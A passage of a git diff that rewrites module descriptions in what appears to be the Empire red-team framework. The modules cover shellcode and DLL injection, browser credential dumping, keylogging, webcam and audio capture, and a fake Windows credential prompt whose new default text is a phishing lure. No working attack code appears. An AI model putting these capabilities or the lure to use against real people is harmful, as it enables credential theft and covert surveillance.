b/empire/server/modules/csharp/situational_awareness/SharpSploit/GetNetLoggedOnUser.yaml @@ -3,7 +3,13 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Gets a list of `LoggedOnUser`s from specified remote computer(s). +description: | + C# module that leverages SharpSploit's Net enumeration capabilities to discover + and enumerate logged-on users on the local system. Uses SharpSploit's Net class + to query the local system for logged-on user information, returning detailed + LoggedOnUser information including user names, descriptions, and local attributes. + Supports targeted enumeration of specific logged-on users by name or comprehensive + enumeration of all logged-on users. software: '' tactics: [TA0007] techniques: [T1033, T1018] diff --git a/empire/server/modules/csharp/situational_awareness/SharpSploit/GetNetSession.yaml b/empire/server/modules/csharp/situational_awareness/SharpSploit/GetNetSession.yaml index 9049b8ea0..b019b9061 100755 --- a/empire/server/modules/csharp/situational_awareness/SharpSploit/GetNetSession.yaml +++ b/empire/server/modules/csharp/situational_awareness/SharpSploit/GetNetSession.yaml @@ -3,7 +3,13 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Gets a list of `SessionInfo`s from specified remote computer(s). +description: | + C# module that leverages SharpSploit's Net enumeration capabilities to discover + and enumerate network sessions on the local system. Uses SharpSploit's Net class + to query the local system for network session information, returning detailed + SessionInfo information including session details, user names, and local attributes. + Supports targeted enumeration of specific network sessions by name or comprehensive + enumeration of all network sessions. software: '' tactics: [TA0007] techniques: [T1076, T1018, T1933] diff --git a/empire/server/modules/csharp/situational_awareness/SharpSploit/GetRegistryKey.yaml b/empire/server/modules/csharp/situational_awareness/SharpSploit/GetRegistryKey.yaml index 9935328fb..a32ada8af 100755 --- a/empire/server/modules/csharp/situational_awareness/SharpSploit/GetRegistryKey.yaml +++ b/empire/server/modules/csharp/situational_awareness/SharpSploit/GetRegistryKey.yaml @@ -3,7 +3,13 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Gets a value stored in registry. +description: | + C# module that leverages SharpSploit's Registry enumeration capabilities to discover + and enumerate registry keys on the local system. Uses SharpSploit's Registry class + to query the local system for registry key information, returning detailed RegistryKey + information including key names, descriptions, and local attributes. Supports + targeted enumeration of specific registry keys by name or comprehensive enumeration + of all registry keys. software: '' tactics: [TA0007] techniques: [T1012] diff --git a/empire/server/modules/csharp/situational_awareness/SharpSploit/GetRemoteRegistryKey.yaml b/empire/server/modules/csharp/situational_awareness/SharpSploit/GetRemoteRegistryKey.yaml index 575b86c94..ad54d6a51 100755 --- a/empire/server/modules/csharp/situational_awareness/SharpSploit/GetRemoteRegistryKey.yaml +++ b/empire/server/modules/csharp/situational_awareness/SharpSploit/GetRemoteRegistryKey.yaml @@ -3,7 +3,13 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Gets a value stored in registry on a remote system. +description: | + C# module that leverages SharpSploit's Registry enumeration capabilities to discover + and enumerate registry keys on a remote system. Uses SharpSploit's Registry class + to query the remote system for registry key information, returning detailed RegistryKey + information including key names, descriptions, and remote attributes. Supports + targeted enumeration of specific registry keys by name or comprehensive enumeration + of all registry keys. software: '' tactics: [TA0007] techniques: [T1012, T1018] diff --git a/empire/server/modules/csharp/situational_awareness/SharpSploit/ListDirectory.yaml b/empire/server/modules/csharp/situational_awareness/SharpSploit/ListDirectory.yaml index 4a39c1be9..4c14c9e57 100755 --- a/empire/server/modules/csharp/situational_awareness/SharpSploit/ListDirectory.yaml +++ b/empire/server/modules/csharp/situational_awareness/SharpSploit/ListDirectory.yaml @@ -3,7 +3,13 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Get a listing of the current directory. +description: | + C# module that leverages SharpSploit's Directory enumeration capabilities to discover + and enumerate directories on the local system. Uses SharpSploit's Directory class + to query the local system for directory information, returning detailed DirectoryInfo + information including directory names, descriptions, and local attributes. Supports + targeted enumeration of specific directories by name or comprehensive enumeration + of all directories. software: '' tactics: [TA0007] techniques: [T1083] diff --git a/empire/server/modules/csharp/situational_awareness/SharpSploit/Portscan.yaml b/empire/server/modules/csharp/situational_awareness/SharpSploit/Portscan.yaml index 5da613d41..9d7a8fffd 100755 --- a/empire/server/modules/csharp/situational_awareness/SharpSploit/Portscan.yaml +++ b/empire/server/modules/csharp/situational_awareness/SharpSploit/Portscan.yaml @@ -3,7 +3,12 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Perform a TCP port scan. +description: | + C# module that leverages SharpSploit's PortScan functionality to perform TCP port scans + on specified computer names or IP addresses. Uses SharpSploit's Network class to + execute port scans, returning detailed PortScanResult information including open ports, + hostnames, and port status. Supports both single-host and multi-host scanning, making it + useful for network reconnaissance and vulnerability assessment. software: '' tactics: [TA0007] techniques: [T1046] diff --git a/empire/server/modules/csharp/situational_awareness/SharpSploit/ProcessList.yaml b/empire/server/modules/csharp/situational_awareness/SharpSploit/ProcessList.yaml index 47ac9b12d..9baa18651 100755 --- a/empire/server/modules/csharp/situational_awareness/SharpSploit/ProcessList.yaml +++ b/empire/server/modules/csharp/situational_awareness/SharpSploit/ProcessList.yaml @@ -3,7 +3,11 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Get a list of currently running processes. +description: | + C# module that leverages SharpSploit's ProcessList functionality to enumerate + currently running processes on the local system. Uses SharpSploit's Host class + to query the local system for process information, returning detailed ProcessInfo + information including process names, descriptions, and local attributes. software: '' tactics: [TA0007] techniques: [T1057] diff --git a/empire/server/modules/csharp/situational_awareness/SharpWMI.yaml b/empire/server/modules/csharp/situational_awareness/SharpWMI.yaml index 26ddf9a3d..c32e2110d 100755 --- a/empire/server/modules/csharp/situational_awareness/SharpWMI.yaml +++ b/empire/server/modules/csharp/situational_awareness/SharpWMI.yaml @@ -3,7 +3,12 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Use a SharpWMI command. +description: | + C# module that uses SharpWMI to execute Windows Management Instrumentation (WMI) queries and + operations on the local system. Provides comprehensive WMI query capabilities including + enumeration, creation, and execution of WMI events. Supports both x86 and x64 architectures + and can be used for situational awareness to identify running services, processes, and other + system components. software: '' tactics: [TA0002] techniques: [T1047, T1546.003] diff --git a/empire/server/modules/powershell/code_execution/invoke_boolang.yaml b/empire/server/modules/powershell/code_execution/invoke_boolang.yaml index aa67009b6..2583cd370 100644 --- a/empire/server/modules/powershell/code_execution/invoke_boolang.yaml +++ b/empire/server/modules/powershell/code_execution/invoke_boolang.yaml @@ -6,7 +6,10 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: Executes Boo code from an embedded compiler. +description: | + PowerShell module that executes Boo code from an embedded compiler. Uses the OffensiveDLR + library to compile and execute Boo code, providing a flexible and powerful way to execute + custom scripts or payloads within the PowerShell environment. software: '' tactics: [TA0002, TA0005] techniques: [T1059, T1620] diff --git a/empire/server/modules/powershell/code_execution/invoke_clearscript.yaml b/empire/server/modules/powershell/code_execution/invoke_clearscript.yaml index 851058887..6b705b1be 100644 --- a/empire/server/modules/powershell/code_execution/invoke_clearscript.yaml +++ b/empire/server/modules/powershell/code_execution/invoke_clearscript.yaml @@ -6,7 +6,11 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: Executes JScript (or VBScript) using the embedded ClearScript engine. +description: | + PowerShell module that executes JScript (or VBScript) using the embedded ClearScript engine. + Uses the OffensiveDLR library to compile and execute JScript/VBScript code, providing a + flexible and powerful way to execute custom scripts or payloads within the PowerShell + environment. software: '' tactics: [TA0002, TA0005] techniques: [T1059, T1620] diff --git a/empire/server/modules/powershell/code_execution/invoke_dllinjection.yaml b/empire/server/modules/powershell/code_execution/invoke_dllinjection.yaml index 02ab53012..81c043f54 100644 --- a/empire/server/modules/powershell/code_execution/invoke_dllinjection.yaml +++ b/empire/server/modules/powershell/code_execution/invoke_dllinjection.yaml @@ -3,8 +3,11 @@ authors: - name: Matt Graeber handle: '@mattifestation' link: https://twitter.com/mattifestation -description: Uses PowerSploit's Invoke-DLLInjection to inject a Dll into the process - ID of your choosing. +description: | + PowerShell module that uses PowerSploit's Invoke-DLLInjection to inject a Dll into the + process ID of your choosing. Uses the PowerSploit library to inject a Dll into a + specified process, providing a flexible and powerful way to execute custom scripts or + payloads within the PowerShell environment. software: S0194 tactics: [TA0004, TA0005] techniques: [T1055.001] diff --git a/empire/server/modules/powershell/code_execution/invoke_ironpython.yaml b/empire/server/modules/powershell/code_execution/invoke_ironpython.yaml index 0d538cbb3..dd74e1426 100644 --- a/empire/server/modules/powershell/code_execution/invoke_ironpython.yaml +++ b/empire/server/modules/powershell/code_execution/invoke_ironpython.yaml @@ -6,7 +6,11 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: Executes IronPython code using the embedded IPY engine. +description: | + PowerShell module that executes IronPython 2.7 code using the embedded IPY engine. + Uses the OffensiveDLR library to compile and execute IronPython 2.7 code, providing a + flexible and powerful way to execute custom scripts or payloads within the PowerShell + environment. software: '' tactics: [TA0002, TA0005] techniques: [T1059, T1620] diff --git a/empire/server/modules/powershell/code_execution/invoke_ironpython3.yaml b/empire/server/modules/powershell/code_execution/invoke_ironpython3.yaml index ef581b535..b818d0586 100644 --- a/empire/server/modules/powershell/code_execution/invoke_ironpython3.yaml +++ b/empire/server/modules/powershell/code_execution/invoke_ironpython3.yaml @@ -6,7 +6,11 @@ authors: - name: '' handle: '@byt3bl33d3r' link: https://twitter.com/byt3bl33d3r -description: Executes IronPython3 code using the embedded IPY engine. +description: | + PowerShell module that executes IronPython 3.4 code using the embedded IPY engine. + Uses the OffensiveDLR library to compile and execute IronPython 3.4 code, providing a + flexible and powerful way to execute custom scripts or payloads within the PowerShell + environment. software: '' tactics: [TA0002, TA0005] techniques: [T1059, T1620] diff --git a/empire/server/modules/powershell/code_execution/invoke_metasploitpayload.yaml b/empire/server/modules/powershell/code_execution/invoke_metasploitpayload.yaml deleted file mode 100644 index 8dcef01a1..000000000 --- a/empire/server/modules/powershell/code_execution/invoke_metasploitpayload.yaml +++ /dev/null @@ -1,30 +0,0 @@ -name: Invoke-MetasploitPayload -authors: - - name: '' - handle: '@jaredhaight' - link: '' -description: Spawns a new, hidden PowerShell window that downloadsand executes a - Metasploit payload. This relies on theexploit/multi/scripts/web_delivery metasploit - module. -software: '' -tactics: [TA0002] -techniques: [T1055] -background: false -output_extension: -needs_admin: false -opsec_safe: true -language: powershell -min_language_version: '2' -comments: - - https://github.com/jaredhaight/Invoke-MetasploitPayload/ -options: - - name: Agent - description: Agent to run Metasploit payload on. - required: true - value: '' - - name: URL - description: URL from the Metasploit web_delivery module - required: true - value: '' -script_path: code_execution/Invoke-MetasploitPayload.ps1 -script_end: Invoke-MetasploitPayload {{ PARAMS }} diff --git a/empire/server/modules/powershell/code_execution/invoke_ntsd.yaml b/empire/server/modules/powershell/code_execution/invoke_ntsd.yaml index 6664db627..f8c002f43 100644 --- a/empire/server/modules/powershell/code_execution/invoke_ntsd.yaml +++ b/empire/server/modules/powershell/code_execution/invoke_ntsd.yaml @@ -3,7 +3,10 @@ authors: - name: james fitts handle: '' link: '' -description: Use NT Symbolic Debugger to execute Empire launcher code +description: | + PowerShell module that uses NT Symbolic Debugger (ntsd) to execute Empire launcher code. + Uses the ntsd command to launch a specified binary (default: calc.exe) with debugging + enabled, allowing for code execution within the context of the target process. software: '' tactics: [TA0005] techniques: [T1218] diff --git a/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.yaml b/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.yaml index 395560a75..aed95a226 100644 --- a/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.yaml +++ b/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.yaml @@ -3,9 +3,10 @@ authors: - name: Joseph Bialek handle: '@JosephBialek' link: https://twitter.com/JosephBialek -description: Uses PowerSploit's Invoke-ReflectivePEInjection to reflectively load - a DLL/EXE in to the PowerShell process or reflectively load a DLL in to a remote - process. +description: | + PowerShell module that uses PowerSploit's Invoke-ReflectivePEInjection to reflectively load + a DLL/EXE in to the PowerShell process or reflectively load a DLL in to a remote process. + Uses the PowerSploit library to inject a DLL into a specified process to execute custom scripts or payloads within the PowerShell environment. software: S0194 tactics: [TA0004, TA0005] techniques: [T1055.002] diff --git a/empire/server/modules/powershell/code_execution/invoke_script.yaml b/empire/server/modules/powershell/code_execution/invoke_script.yaml index a8f8d9ef6..b327f5b54 100644 --- a/empire/server/modules/powershell/code_execution/invoke_script.yaml +++ b/empire/server/modules/powershell/code_execution/invoke_script.yaml @@ -3,8 +3,10 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: Load and execute a PowerShell script from either a URL or base64 string, - then run a function within the script with parameters. +description: | + PowerShell module that loads and executes a PowerShell script from either a URL or base64 string, + then runs a function within the script with parameters. Uses the PowerShell engine to execute + the script and run the specified function with the provided parameters. software: S0194 tactics: [TA0002] techniques: [T1059] diff --git a/empire/server/modules/powershell/code_execution/invoke_shellcode.yaml b/empire/server/modules/powershell/code_execution/invoke_shellcode.yaml index 7865e897c..2fc39b291 100644 --- a/empire/server/modules/powershell/code_execution/invoke_shellcode.yaml +++ b/empire/server/modules/powershell/code_execution/invoke_shellcode.yaml @@ -3,10 +3,12 @@ authors: - name: Matt Graeber handle: '@mattifestation' link: https://twitter.com/mattifestation -description: Uses PowerSploit's Invoke-Shellcode to inject shellcode into the process - ID of your choosing or within the context of the running PowerShell process. If - you're injecting custom shellcode, make sure it's in the correct format and matches - the architecture of the process you're injecting into. +description: | + PowerShell module that uses PowerSploit's Invoke-Shellcode to inject shellcode into the + process ID of your choosing or within the context of the running PowerShell process. + Uses the PowerSploit library to inject shellcode into a specified process, providing a + flexible and powerful way to execute custom scripts or payloads within the PowerShell + environment. software: S0194 tactics: [TA0005] techniques: [T1620] diff --git a/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.yaml b/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.yaml index 5c9f615f9..a1967d381 100644 --- a/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.yaml +++ b/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.yaml @@ -3,10 +3,17 @@ authors: - name: Matt Graeber handle: '@mattifestation' link: https://twitter.com/mattifestation -description: 'Execute shellcode within the context of the running PowerShell process - without making any Win32 function calls. Warning: This script has no way to validate - that your shellcode is 32 vs. 64-bit!Note: Your shellcode must end in a ret (0xC3) - and maintain proper stack alignment or PowerShell will crash!' +description: | + PowerShell module that executes shellcode using advanced MSIL (Microsoft Intermediate + Language) techniques to overwrite JITed methods in memory. Creates a dummy method + with sufficient space, forces JIT compilation, then overwrites the compiled method + with shellcode using MSIL opcodes. This technique avoids traditional Win32 API calls + and provides stealthy code execution by leveraging .NET's JIT compilation process. + Supports both x86 and x64 architectures with appropriate shellcode stubs. + + WARNING: This script has no way to validate that your shellcode is 32 vs. 64-bit! + NOTE: Your shellcode must end in a ret (0xC3) and maintain proper stack alignment + or PowerShell will crash! software: '' tactics: [TA0002, TA0005] techniques: [T1620] diff --git a/empire/server/modules/powershell/code_execution/invoke_ssharp.yaml b/empire/server/modules/powershell/code_execution/invoke_ssharp.yaml index 9d6dff012..bd93bb7f0 100644 --- a/empire/server/modules/powershell/code_execution/invoke_ssharp.yaml +++ b/empire/server/modules/powershell/code_execution/invoke_ssharp.yaml @@ -6,8 +6,11 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: Executes SSharp from an embedded compiler within PowerShell. Compilation - does not call csc.exe +description: | + PowerShell module that executes SSharp from an embedded compiler within PowerShell. + Compilation does not call csc.exe. Uses the OffensiveDLR library to compile and execute + SSharp code, providing a flexible and powerful way to execute custom scripts or payloads + within the PowerShell environment. software: '' tactics: [TA0002, TA0005] techniques: [T1059, T1620] diff --git a/empire/server/modules/powershell/collection/ChromeDump.yaml b/empire/server/modules/powershell/collection/ChromeDump.yaml index f5a24aec8..a056ed4ed 100644 --- a/empire/server/modules/powershell/collection/ChromeDump.yaml +++ b/empire/server/modules/powershell/collection/ChromeDump.yaml @@ -3,8 +3,10 @@ authors: - name: Chris Ross handle: '@xorrior' link: https://twitter.com/xorrior -description: This module will decrypt passwords saved in chrome and display them - in the console. +description: | + PowerShell module that decrypts passwords saved in Chrome and displays them in the console. + Uses the PowerShell engine to decrypt the passwords, providing a flexible and powerful way + to search for specific data within the browser. software: '' tactics: [TA0006] techniques: [T1555.03] diff --git a/empire/server/modules/powershell/collection/FoxDump.yaml b/empire/server/modules/powershell/collection/FoxDump.yaml index 12730fd00..5b7b82e25 100644 --- a/empire/server/modules/powershell/collection/FoxDump.yaml +++ b/empire/server/modules/powershell/collection/FoxDump.yaml @@ -3,9 +3,13 @@ authors: - name: Chris Ross handle: '@xorrior' link: https://twitter.com/xorrior -description: This module will dump any saved passwords from Firefox to the console. - This should work for any versionof Firefox above version 32. This will only be - successful if the master password is blank or has not been set. +description: | + PowerShell module that extracts saved passwords from Firefox browsers by leveraging + the NSS (Network Security Services) library functions. Loads Firefox's nss3.dll + library and uses native API calls to decrypt stored credentials from the logins.json + file. Extracts usernames, passwords, and associated URLs for all saved login + credentials. Requires Firefox version 32 or above and will only succeed if no + master password has been set. software: '' tactics: [TA0006] techniques: [T1555.03] diff --git a/empire/server/modules/powershell/collection/SauronEye.yaml b/empire/server/modules/powershell/collection/SauronEye.yaml index f90155e13..465128b54 100644 --- a/empire/server/modules/powershell/collection/SauronEye.yaml +++ b/empire/server/modules/powershell/collection/SauronEye.yaml @@ -6,8 +6,14 @@ authors: - name: '' handle: '@S3cur3Th1sSh1t' link: https://twitter.com/ShitSecure -description: SauronEye is a search tool built to aid red teams in finding files containing - specific keywords. +description: | + Performs comprehensive file system searches to identify files containing specific keywords, + supporting multiple search criteria including file types, content patterns, date ranges, + and file sizes. The module can search file contents using regex patterns, filter by + file extensions (.txt, .doc, .docx, .xls, etc.), and restrict searches to specific + directories or system folders. Includes advanced features such as VBA macro detection + in legacy Office files, date-based filtering for files modified before/after specific + dates, and configurable file size limits for content searching. software: '' tactics: [TA0007] techniques: [T1083] @@ -25,11 +31,11 @@ options: required: true value: '' - name: 'filetypes ' - description: Filetypes to search for/in + description: File extensions to search for (space-separated list) required: false value: .txt .doc .docx .xls - name: contents - description: Search file contents + description: Whether to search inside file contents or just filenames required: false value: 'True' strict: true @@ -37,27 +43,28 @@ options: - True - False - name: keywords - description: Keywords to search for + description: Keywords or regex patterns to search for in files required: false value: password pass* - name: directories - description: Directories to search + description: Specific directories to search (leave empty for current directory) required: false value: '' - name: maxfilesize - description: Max file size to search contents in, in kilobytes + description: Maximum file size in KB for content searching (prevents processing + large files) required: false value: '' - name: beforedate - description: 'Filter files last modified before this date, format: yyyy-MM-dd' + description: 'Only search files modified before this date (format: yyyy-MM-dd)' required: false value: '' - name: afterdate - description: 'Filter files last modified after this date, format: yyyy-MM-dd' + description: 'Only search files modified after this date (format: yyyy-MM-dd)' required: false value: '' - name: systemdirs - description: Search in filesystem directories %APPDATA% and %WINDOWS% + description: Include system directories (%APPDATA% and %WINDOWS%) in search required: false value: 'False' strict: true @@ -65,7 +72,7 @@ options: - True - False - name: vbamacrocheck - description: Check if 2003 Office files (*.doc and *.xls) contain a VBA macro + description: Check for VBA macros in legacy Office files (*.doc and *.xls) required: false value: 'True' strict: true diff --git a/empire/server/modules/powershell/collection/SharpChromium.yaml b/empire/server/modules/powershell/collection/SharpChromium.yaml index e6e2f8e66..7f019edcb 100644 --- a/empire/server/modules/powershell/collection/SharpChromium.yaml +++ b/empire/server/modules/powershell/collection/SharpChromium.yaml @@ -3,8 +3,14 @@ authors: - name: '' handle: '@tyraniter' link: '' -description: This module will retrieve cookies, history, saved logins from Google - Chrome, Microsoft Edge, and Microsoft Edge Beta. +description: | + Extracts sensitive browser data including cookies, browsing history, and saved login + credentials from Google Chrome, Microsoft Edge, and Microsoft Edge Beta browsers. + The module leverages the SharpChromium library to decrypt and parse browser databases + that store user authentication data, session information, and browsing patterns. + Supports selective data extraction by type (all, logins, history, cookies) and domain + filtering for targeted credential harvesting. The extracted data includes encrypted + passwords, session cookies, autofill data, and browsing history with timestamps. software: '' tactics: [TA0006, TA0007] techniques: [T1503.003, T1217] @@ -22,7 +28,7 @@ options: required: true value: '' - name: Type - description: Kind of data to be retrieved. + description: Type of browser data to extract (all, logins, history, or cookies). required: true value: 'all' strict: true @@ -32,13 +38,13 @@ options: - history - cookies - name: Domains - description: Set with Type cookies, return only cookies matching those domains. - Separate with "," + description: Comma-separated list of domains to filter cookie extraction (only + applies when Type is set to cookies). required: false value: '' - name: OutputFunction - description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", - "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml"). + description: PowerShell output format for the extracted data (Out-String, ConvertTo-Json, + ConvertTo-Csv, ConvertTo-Html, ConvertTo-Xml). required: false value: Out-String strict: true diff --git a/empire/server/modules/powershell/collection/SharpLoginPrompt.yaml b/empire/server/modules/powershell/collection/SharpLoginPrompt.yaml index fe35165a9..77e10a76f 100644 --- a/empire/server/modules/powershell/collection/SharpLoginPrompt.yaml +++ b/empire/server/modules/powershell/collection/SharpLoginPrompt.yaml @@ -6,10 +6,15 @@ authors: - name: '' handle: '@S3cur3Th1sSh1t' link: https://twitter.com/ShitSecure -description: This Program creates a login prompt to gather username and password - of the current user. This project allows red team to phish username and password - of the current user without touching lsass and having administrator credentials - on the system. +description: | + Creates a deceptive Windows credential prompt to harvest user credentials + through social engineering. The module displays a legitimate-looking Windows authentication + dialog that requests username and password input, mimicking the native Windows + security interface. Unlike traditional credential dumping techniques that require + administrative privileges and access to LSASS, this approach works without elevated + permissions by exploiting user trust in familiar system dialogs. The prompt can + be customized with custom headers and subheaders to create context-specific scenarios + (e.g., system updates, security scans, or application access). software: '' tactics: [TA0006, TA0009] techniques: [T1056.002] @@ -27,13 +32,13 @@ options: required: true value: '' - name: Header - description: Customized heading for login prompt. + description: Custom header text displayed above the credential prompt. required: false - value: '' + value: 'System Security Update Required' - name: Subheader - description: Customized subheading for prompt. + description: Custom subheader text displayed below the main header. required: false - value: '' + value: 'Please enter your credentials to continue' script_path: collection/Invoke-SharpLoginPrompt.ps1 script_end: Invoke-SharpLoginPrompt -Command "{{ PARAMS }}" advanced: diff --git a/empire/server/modules/powershell/collection/USBKeylogger.yaml b/empire/server/modules/powershell/collection/USBKeylogger.yaml index b9061a403..b13edb866 100644 --- a/empire/server/modules/powershell/collection/USBKeylogger.yaml +++ b/empire/server/modules/powershell/collection/USBKeylogger.yaml @@ -6,7 +6,14 @@ authors: - name: '' handle: '@CyberPoint_SRT' link: '' -description: Logs USB keys pressed using Event Tracing for Windows (ETW) +description: | + Captures keystrokes in real-time using Windows API calls to monitor user input across + all applications. The module uses GetAsyncKeyState and related Windows functions to + detect key presses, including special keys like Shift, Ctrl, Alt, arrow keys, and + function keys. Captures the active window title when it changes, providing context + for the keystrokes being logged. Supports configurable polling intervals to balance + between responsiveness and system performance. The keylogger runs as a background + process and can capture credentials, sensitive data, and user behavior patterns. software: '' tactics: [TA0006, TA0009] techniques: [T1056.001] diff --git a/empire/server/modules/powershell/collection/WebcamRecorder.yaml b/empire/server/modules/powershell/collection/WebcamRecorder.yaml index 3ac90dfe7..cc52fa33f 100644 --- a/empire/server/modules/powershell/collection/WebcamRecorder.yaml +++ b/empire/server/modules/powershell/collection/WebcamRecorder.yaml @@ -3,8 +3,13 @@ authors: - name: Chris Ross handle: '@xorrior' link: https://twitter.com/xorrior -description: This module uses the DirectX.Capture and DShowNET .NET assemblies to - capture video from a webcam. +description: | + Captures video from a webcam using DirectX.Capture and DShowNET .NET assemblies to record + video output from the host's webcam and save it as an AVI file. The module leverages Windows + DirectShow technology to access camera hardware directly, bypassing application-level + restrictions. Supports customizable recording duration and output file path configuration. + The recording process uses DirectX components to interface with webcam drivers and capture + video streams in real-time. Output is saved in AVI format with configurable quality settings. software: '' tactics: [TA0009] techniques: [T1125] diff --git a/empire/server/modules/powershell/collection/WireTap.yaml b/empire/server/modules/powershell/collection/WireTap.yaml index 049d24641..ddae8f56b 100644 --- a/empire/server/modules/powershell/collection/WireTap.yaml +++ b/empire/server/modules/powershell/collection/WireTap.yaml @@ -6,10 +6,15 @@ authors: - name: '' handle: '@S3cur3Th1sSh1t' link: https://twitter.com/ShitSecure -description: "WireTap is a .NET 4.0 project to consolidate several functions used - to interact with a user's hardware, including: Screenshots (Display + WebCam Imaging), - Audio (Both line-in and line-out), Keylogging, & Activate voice recording when - the user says a keyword phrase. Note: Only one method can be ran at a time." +description: | + Comprehensive hardware surveillance tool that consolidates multiple surveillance functions + into a single .NET 4.0 application. The module can capture screenshots (both display and + webcam), record audio from microphone and system speakers, perform keylogging, and + activate voice recording when specific keywords are detected. Uses Windows API calls + and DirectX components to interact with hardware devices directly. Supports configurable + recording durations, keyword-triggered audio capture, and real-time keystroke monitoring. + The tool operates at the system level to bypass application-level restrictions and can + capture sensitive information including passwords, conversations, and visual data. software: '' tactics: [TA0006, TA0009] techniques: [T1123, T1125, T1056.001] diff --git a/empire/server/modules/powershell/collection/browser_data.yaml b/empire/server/modules/powershell/collection/browser_data.yaml index bbca71865..00296883c 100644 --- a/empire/server/modules/powershell/collection/browser_data.yaml +++ b/empire/server/modules/powershell/collection/browser_data.yaml @@ -3,7 +3,9 @@ authors: - name: '' handle: '@424f424f' link: https://twitter.com/424f424f -description: Search through browser history or bookmarks +description: | + PowerShell module that searches through browser history or bookmarks on the local system. + Uses the PowerShell engine to search through the browser's history and bookmarks. software: '' tactics: [TA0007] techniques: [T1217] diff --git a/empire/server/modules/powershell/collection/clipboard_monitor.yaml b/empire/server/modules/powershell/collection/clipboard_monitor.yaml index 06db7fc0c..871c51214 100644 --- a/empire/server/modules/powershell/collection/clipboard_monitor.yaml +++ b/empire/server/modules/powershell/collection/clipboard_monitor.yaml @@ -3,8 +3,10 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Monitors the clipboard on a specified interval for changes to copied - text. +description: | + Continuously monitors and logs clipboard content changes on the target + system. Helpful in tracking copied passwords or sensitive data used during a + session. software: '' tactics: [TA0009] techniques: [T1115, T1082] diff --git a/empire/server/modules/powershell/collection/file_finder.yaml b/empire/server/modules/powershell/collection/file_finder.yaml index 5e04f063c..eac53bf8c 100644 --- a/empire/server/modules/powershell/collection/file_finder.yaml +++ b/empire/server/modules/powershell/collection/file_finder.yaml @@ -3,7 +3,14 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Finds sensitive files on the domain. +description: | + PowerShell module that leverages PowerView's Find-InterestingDomainShareFile function + to perform comprehensive file discovery across domain shares. Enumerates all computers + in the domain, discovers accessible shares, and searches for sensitive files matching + predefined patterns including passwords, credentials, admin files, login scripts, and + configuration files. Supports filtering by file types (Office documents, recent EXEs), + access times, and write permissions. Can target specific computers or perform domain-wide + searches with threading capabilities for efficient reconnaissance across large networks. software: '' tactics: [TA0007] techniques: [T1083, T1135, T1039] diff --git a/empire/server/modules/powershell/collection/find_interesting_file.yaml b/empire/server/modules/powershell/collection/find_interesting_file.yaml index d9f4ce6d4..92b34c1e2 100644 --- a/empire/server/modules/powershell/collection/find_interesting_file.yaml +++ b/empire/server/modules/powershell/collection/find_interesting_file.yaml @@ -3,7 +3,14 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Finds sensitive files on the domain. +description: | + PowerShell module that leverages PowerView's Find-InterestingFile function to search + for sensitive files on specified UNC or local paths. Recursively searches directories + for files matching predefined patterns including passwords, sensitive data, admin files, + login scripts, and configuration files. Supports filtering by file types (Office documents, + recent EXEs), access times, creation dates, and write permissions. Can exclude hidden + files and folders, and provides detailed file information including ownership, timestamps, + and file sizes for discovered sensitive data. software: '' tactics: [TA0007] techniques: [T1083, T1135, T1039] diff --git a/empire/server/modules/powershell/collection/get-winupdates.yaml b/empire/server/modules/powershell/collection/get-winupdates.yaml index 275331f5c..ea8fb9483 100644 --- a/empire/server/modules/powershell/collection/get-winupdates.yaml +++ b/empire/server/modules/powershell/collection/get-winupdates.yaml @@ -1,4 +1,4 @@ -name: Get Microsoft Updates +name: Get-WinUpdates authors: - name: Maarten Hartsuijker handle: '' @@ -6,8 +6,13 @@ authors: - name: '' handle: '@classityinfosec' link: '' -description: This module will list the Microsoft update history, including pending - updates, of the machine +description: | + PowerShell module that queries the Windows Update service to enumerate both installed + update history and pending updates on target systems. Leverages Microsoft.Update.Session + COM object to access the Windows Update service and retrieves comprehensive update + information including installation dates, operation types, status codes, KB numbers, + and update titles. Requires administrative privileges and can target local or remote + systems. software: '' tactics: [TA0009] techniques: [T1082] @@ -17,8 +22,7 @@ needs_admin: true opsec_safe: true language: powershell min_language_version: '2' -comments: - - Have fun +comments: [] options: - name: Agent description: Agent to run the module on. diff --git a/empire/server/modules/powershell/collection/get_indexed_item.yaml b/empire/server/modules/powershell/collection/get_indexed_item.yaml index 557595a3f..c2b571d6c 100644 --- a/empire/server/modules/powershell/collection/get_indexed_item.yaml +++ b/empire/server/modules/powershell/collection/get_indexed_item.yaml @@ -3,7 +3,14 @@ authors: - name: '' handle: "@James O'Neill" link: '' -description: Gets files which have been indexed by Windows desktop search. +description: | + PowerShell module that queries the Windows Search Index using SQL-like syntax to + discover files and their metadata across the system. Leverages Windows' built-in + search indexing service to perform fast, comprehensive searches for files based + on content, properties, and metadata. Supports complex filtering by file types, + dates, sizes, and custom properties including photos, music, documents, and media + files. Can search local and remote file systems, providing detailed 